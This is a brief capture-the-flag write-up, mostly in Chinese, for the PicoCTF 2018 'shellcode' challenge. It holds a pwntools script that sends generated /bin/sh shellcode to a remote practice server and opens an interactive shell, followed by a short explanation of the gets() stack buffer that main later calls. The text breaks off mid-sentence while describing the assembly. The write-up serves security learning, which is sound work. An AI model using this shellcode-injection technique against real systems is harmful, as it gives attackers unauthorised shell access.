from pwn import * io =remote('node3.buuoj.cn',29911)context.binary='PicoCTF_2018_shellcode'shellcode= asm(shellcraft.sh())#可以自动生成二进制文件对应架构的shellcodeio.sendline(shellcode)io.interactive() get flag
查看vuln函数,里面将[ebp+8]传参给gets,这表示可以从标准输入中读取shellcode并写入到ebp+8处。反编译可知,ebp+8正是vuln的参数ebp+var_A0。所以最终main的call eax会调用ebp+var_A0处我们所写的shellcode。 栈结构如图所示(上面为高地址) 而shellcode往往是一个系统调用execv('/bin/sh'),其汇编为 xoreax,...